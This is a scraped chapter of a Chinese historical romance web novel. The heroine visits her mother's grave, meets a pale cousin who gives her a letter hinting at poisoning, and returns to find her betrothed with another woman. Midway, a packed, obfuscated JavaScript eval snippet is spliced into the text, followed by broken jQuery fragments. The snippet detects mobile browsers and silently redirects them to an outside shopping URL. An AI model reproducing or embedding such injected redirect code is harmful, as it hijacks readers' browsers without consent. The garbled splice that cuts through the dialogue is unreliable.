默认冷灰
24号文字
方正启体

10. 美得像仙人

作者:天衍知行本书字数:K更新时间:
    雨淅淅沥沥地下了一整夜,直至次日清晨才得以停歇。


    叶清沫一宿都未合眼,直挺挺躺着,盯着帐顶那块暗色绣纹,谢淮钏昨日的那句话在脑子里转了一夜。


    天光从窗缝外漏进来,在地上铺开一片暖色,她侧过身,望着那片亮色发呆。


    昨夜的雨似乎将一切都冲刷了个干净,可心头的烦闷却依旧未退分毫。


    “小姐?”花念端着水盆进来,瞧她睁着眼,吓了一跳,“小姐,可是没睡好?眼圈都有些许青了。”


    叶清沫摇摇头,撑着坐起身。


    花念忙将水盆搁在一边,上前伺候梳洗,嘴里絮叨着,“方嬷嬷说大人一早出去了,要好几天才回,临走时嘱咐着,让姑娘好生歇歇,想做什么就做什么,不必拘束。”


    叶清沫擦拭面颊的手顿了顿,有些意外。


    走了?


    她垂下眼,心里说不上什么滋味。


    在的时候自己总觉得不自在,浑身绷着。


    可为何现在得知对方走了,却觉得这院子忽然就空了,连檐下的鸟叫都蔫蔫的。


    用过早饭后,叶清沫竟一时不晓得要做什么,往日在家中,这个时辰便要去教习轩弟课业了。


    她坐在靠窗的桌案边,窗外的槐树让雨洗得碧绿,叶子上还挂着水珠,隔一会儿落一滴,砸在石板上,好不脆亮。


    记得母亲过世那天似乎也是这番模样。


    叶清沫定眼瞧了好一会,才将茶盏放下,她理了理衣袖站起身。


    这些时日她一直都想找个法子外出祭拜,却都没寻着机会,如今谢淮钏不在,周震也跟着去了,院子里就剩几个守着的人,倒是正好。


    她叫花念去找了方嬷嬷,只说想去城外庙里上炷香,为母亲祈福。


    方嬷嬷也没多问,唯派了个小厮跟着,嘱咐早去早回。


    马车出城的时候已快晌午,道旁的草木泥水皆已褪尽,路面上还布了些水洼,空气中漫出一股浓浓得泥腥气与青草味。


    倒是令人心情缓和。


    叶清沫掀开帘子一角,望着外头掠过的景致,心里却想着旁的事。


    母亲的坟在城外二十里的山坡上,背山面水,是母亲自己生前挑的地方,她曾说过,若是以后葬在这里,也想能天天瞧见这番景致。


    马车一路摇摇晃晃,最后停在一处山脚边,旁边还有一座略显破旧的小庙。


    叶清沫下车后便让花念和小厮在路边庙中等着,自己则提着香烛纸钱,顺着石阶往上走。


    石阶隐入青霭深处,苔痕滑腻,还需当心脚下,她走得极慢。


    青绿色裙幅拖在潮湿的石面上同石阶混作一团,早已洇透了,泥水顺着褶子往下滴。


    越往上走,四周便愈发静了,只有风吹松林的簌簌声,和远处隐隐约约的鸟啼。


    青石的墓碑孤零零立在一片空旷处,上头刻着沈婉青三字,落款处则是自己的名字。


    叶清沫在坟前跪下,点着香烛,一张一张地烧着纸钱,橘红火光映在脸上,忽明忽暗。


    “娘,”她轻声道,“女儿来看你了。”


    “是女儿不孝,别了三年才来看你。”


    微风悠转,树叶上的雨滴簌簌落下,落在她面颊上。


    纸灰打着旋儿飘起来,往远处的山峦飞去。


    她望着那些灰,眼眶慢慢红了。


    “娘,如今女儿已许以他人,”她顿了顿,声音低了些,“是谢家世子,虽然他在外头名声不好,可待女儿却是极好。”


    “他答应女儿,会查清娘当年的事,”她垂下眼,指尖摸着墓碑上的字,“我不知此事是好是坏,可女儿实在心有不甘。”


    说着说着,她却是愣了愣,随后才继续道,“也不知这次过后,多久才能再来探望你,今天女儿就多陪陪你吧。”


    风渐渐大了些,鬓边的碎发扬起,她抬手拢了拢,坐在碑边一片空出的石台上,心中却是前所未有的宁静,似乎再未有束缚。


    或许,也只有此刻她才能真正放松吧。


    “啪嗒。”


    树枝清脆的声响骤然间响起,一阵极轻的脚步声缓缓传来。


    叶清沫心头一紧,猛地偏头望去。


    几步外,一道身型修长的男子站在松树边上,模样颇为古怪,如此阴沉的天气仍带着顶轻纱帷帽。


    对方身上的衣袍素白,因着泥水衣摆处倒是沾了些泥点。


    他手中捏着一朵嫩黄的小花,隐约露出的肤色倒是白的异常,发梢末端同乳白的衣襟融为一体,一眼瞧去倒像是话本中的仙人一般。


    似雾似雪,好若下一刻便会消散。


    叶清沫还是第一次见到如此古怪的人,她面露警惕,刚启唇欲言,对方倒是先她一步开口,音色同她想的清冷全然不同,倒是轻柔似水。


    “清沫?”


    “好久不见。”


    边说着对方脚步也未停下,朝墓碑前走来。


    他弯腰,将手中的花放在叶清沫烧完纸灰的余烬边。


    叶清沫此刻就坐在一旁,对方顶上的轻纱被风吹起,内里的模样叫她不由愣住。


    一对好似雪花般的眼瞳就这么直直地闯入视线,连眼睫都白的异常,此人长相倒是同她想的未有出入,要不是声线的确是男声,倒叫自己差点误以为是个貌美女子。


    只不过双眼冷到不似活人,令人不适。


    她皱眉,瞧着母亲墓碑前那抹小花,疑惑道:“公子认得清沫?”


    “可我翻来覆去地想,都未曾记起从前有见过公子。”


    对方咳了几声,瞧着似乎身子不大好,就这么靠在她一旁坐下,语气带着笑,“在下林默川,说来算是你表哥。”


    “十几年前见你时,你不过还是孩提,自是没多少印象。”


    “那时我带过你一段时日,倒是很喜欢同我玩耍。”


    这么一说,叶清沫似乎有了些印象,记忆中确是有这么一道模糊的人影,只晓得对方很白,漂亮的像话本中的仙人一般,却性子冷淡不怎么说话,便会总缠着那人。


    现下记忆中的人活生生坐在一旁,她捏着衣袖倒有些不知所措起来,“沈姨母清沫只从母亲嘴中晓得,却是从未见过了。”


    “已离世了,”林默川语气淡淡,也未曾多说,“前些年方才晓得姑母过世,这段时日恰好来此处,便会时常来祭拜一二。”


    由于距离较近,叶清沫能隐约瞧见那抹轻纱下的模样,对方表情依旧无甚变化,亮白的眼睫垂下,眼睛似乎从方才起便是一直半睁未睁的模样。


    “有劳表哥了,”她心头一酸,这些年她一直以为母亲葬在这处,除了自己便再无人问津了,日日牵挂着想来瞧上一眼。


    母亲的家人并不多,父母早逝,唯一的哥哥早早同父母闹掰前去他处任职,好似从未来往过。


    现下才晓得,她还有一个表哥,念及此,她好生瞧了对方一眼,有些担忧道,“适才见表哥面有不适,可是身子有何不妥?若真有什么难处,但说无妨,清沫虽力薄,亦当倾力相助。”


    “无碍,此为命数,无药可医,”林默川摇头,却是从怀中取出一物,道,“此物是从我母亲遗物中寻得,上方标识瞧着似是姑母所写,便一直想将它交与表妹,却一直未寻得机会。”


    他顿了顿,抬眼看向她,目光里带着恳求:“在下没有旁的意思,只想……只想把这封信交给表妹。”


    油纸包拆开后,里面是一封泛黄的信,边角有些破碎,但封口的火漆还算完好。


    叶清沫接过信,指尖发抖。


    信封上的字,的确是娘的无误。


    她深吸一口气,展开信纸。


    信不长,没几句话,可每一个字都像刀子剜在她心上。


    “如今身子一日不如一日,夫君同谢家结识,频频来人探望,我心不安,若我当真出事,还望姐姐照看清沫一二。”


    “谢家那位老爷托人寻了个有名的孙大夫为我诊病,默川他医学颇有天赋,我暗备了份药方,还望姐姐择机将它交予外甥替我瞧瞧。”


    叶清沫握着信纸的手下意识用力,在纸页上揉出一层褶。


    林默川见状,道:“当时我在京城跟师从医,难得归家,再回家后,便是母亲过世的消息,信中的那份药方我却未曾见过。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288383|198479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他神色复杂,“我曾查探过一二,那份药方似是母亲寄出后半路被人截下了,至于何人我也不知。”


    “而且,从这往后,我总能感觉到似乎有人暗中在查探跟踪。”


    叶清沫心口像被什么狠狠攥住。


    风从山间吹来,带着松林的清苦气息,她手中握着那封信,忽然觉得浑身发冷。


    “清沫?”林默川见她脸色不对,似乎有些担心,“你还好吗?”


    叶清沫回过神,深吸一口气,小心收好那信件,摇头道,“方才表哥说,有人也在寻你?”


    林默川神色一暗,点了点头。


    “我也不知是何人,只记得前些日子,有人在杭州打听家母的消息,家母过世后,我便离开杭州,一路行医替人治病,到雍和郡来,可路中,”他顿了顿,声音更低了些,“有人在追查。”


    叶清沫心头一凛。


    有人在追查他?


    她忽地想起张临说的那番话,心中泛着苦涩,愧疚道:“表哥现在可有住所?”


    “如今便是四处漂泊罢了,前来雍和郡也是想将这信送来。”


    叶清沫看着他单薄的身形,心中发酸,对方也算是自己唯一的亲人了罢。


    “表哥若是不嫌弃,可否能同我一道回驿馆?”她站起身,拍了拍裙边,“如今你受我所牵,便先去暂住下来安稳些时日,也要安全些。”


    “谢大人那边,届时我去说说,”叶清沫抿唇,“他应当会应允。”


    林默川顿了顿,笑道:“那便有劳表妹费心了。”


    言罢,天色也不早了,二人便下山回到那处破庙边,花念虽面露惊疑,却也未多言,同小厮一块驱着马车朝城内驶去。


    在驿馆的路上,叶清沫也未说话,盯着对面的人有些出神。


    林默川到了马车内,便将帷帽摘下,此刻正坐在她对面,偶尔轻咳几声。


    没了轻纱的遮掩,对方面容明晃晃照入眼中,昏暗的马车内似乎都被其照亮般,好若散着光。


    她倒是晓得为何幼时如此喜欢同对方戏耍了。


    马车进城的时候,已是黄昏。


    夕阳把天边染成淡淡的橘红色,给小城镀上一层暖光,街上人少了,店铺陆续上了门板,偶尔几声犬吠从巷子里传来。


    叶清沫掀开帘子,望着这暮色四合的小城,心里却不像来时那般空落。


    她知道了娘信里说的孙大夫,知道有人在追查林默川,也不晓得这些线索能不能对谢大人有所帮助。


    马车在驿馆门口停下,叶清沫扶着对方下车,正想让花念去安排住处,忽然听见一阵清脆的笑言从后院传来。


    她脚下一顿。


    那笑声明朗,带着点少女的活泼,在这暮色里显得格外扎耳。


    叶清沫循声望去。


    后院廊下,灯笼方才点上,晕开一圈昏黄的光。


    光里站着一个陌生的女子,瞧着似有十六七岁的年纪,一身浅紫色衣裙,乌发挽成双环髻,簪着几朵小绢花。


    长得颇为清秀,眉目弯弯,笑起来眼波流转,我见犹怜。


    此刻她正仰着头,与廊下立着的人说话。


    那人一身玄色常服,身姿挺拔,暮色在他身上镀了一层淡淡的金边。


    正是谢淮钏。


    他不是说要出去三四天吗?怎么……


    叶清沫怔在原地。


    那女子不知说了什么,笑得前仰后合,伸手拉着谢大人的袖子。


    谢淮钏往日都是一副阴沉模样,此间眉眼却是带着些笑意,不经意间目光却往院门这边扫过来。


    跟叶清沫碰了个正着,笑意却是褪去,视线直勾勾地朝这边瞧来,面色说不上好看。


    那女子顺着他的目光看过来,看见叶清沫,脸上的笑容顿了顿,随即面露奇色,眉眼闪烁着。


    她抬手拢了拢鬓边的碎发,偏过身好奇瞧来,“淮钏,这位妹妹是?”


    叶清沫站在原地,握着林默川手腕的指尖微微收紧。


    廊下的灯笼被风吹得轻轻晃,光影在她脸上跳。


    她忽然觉得,这黄昏的光,有些刺眼。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)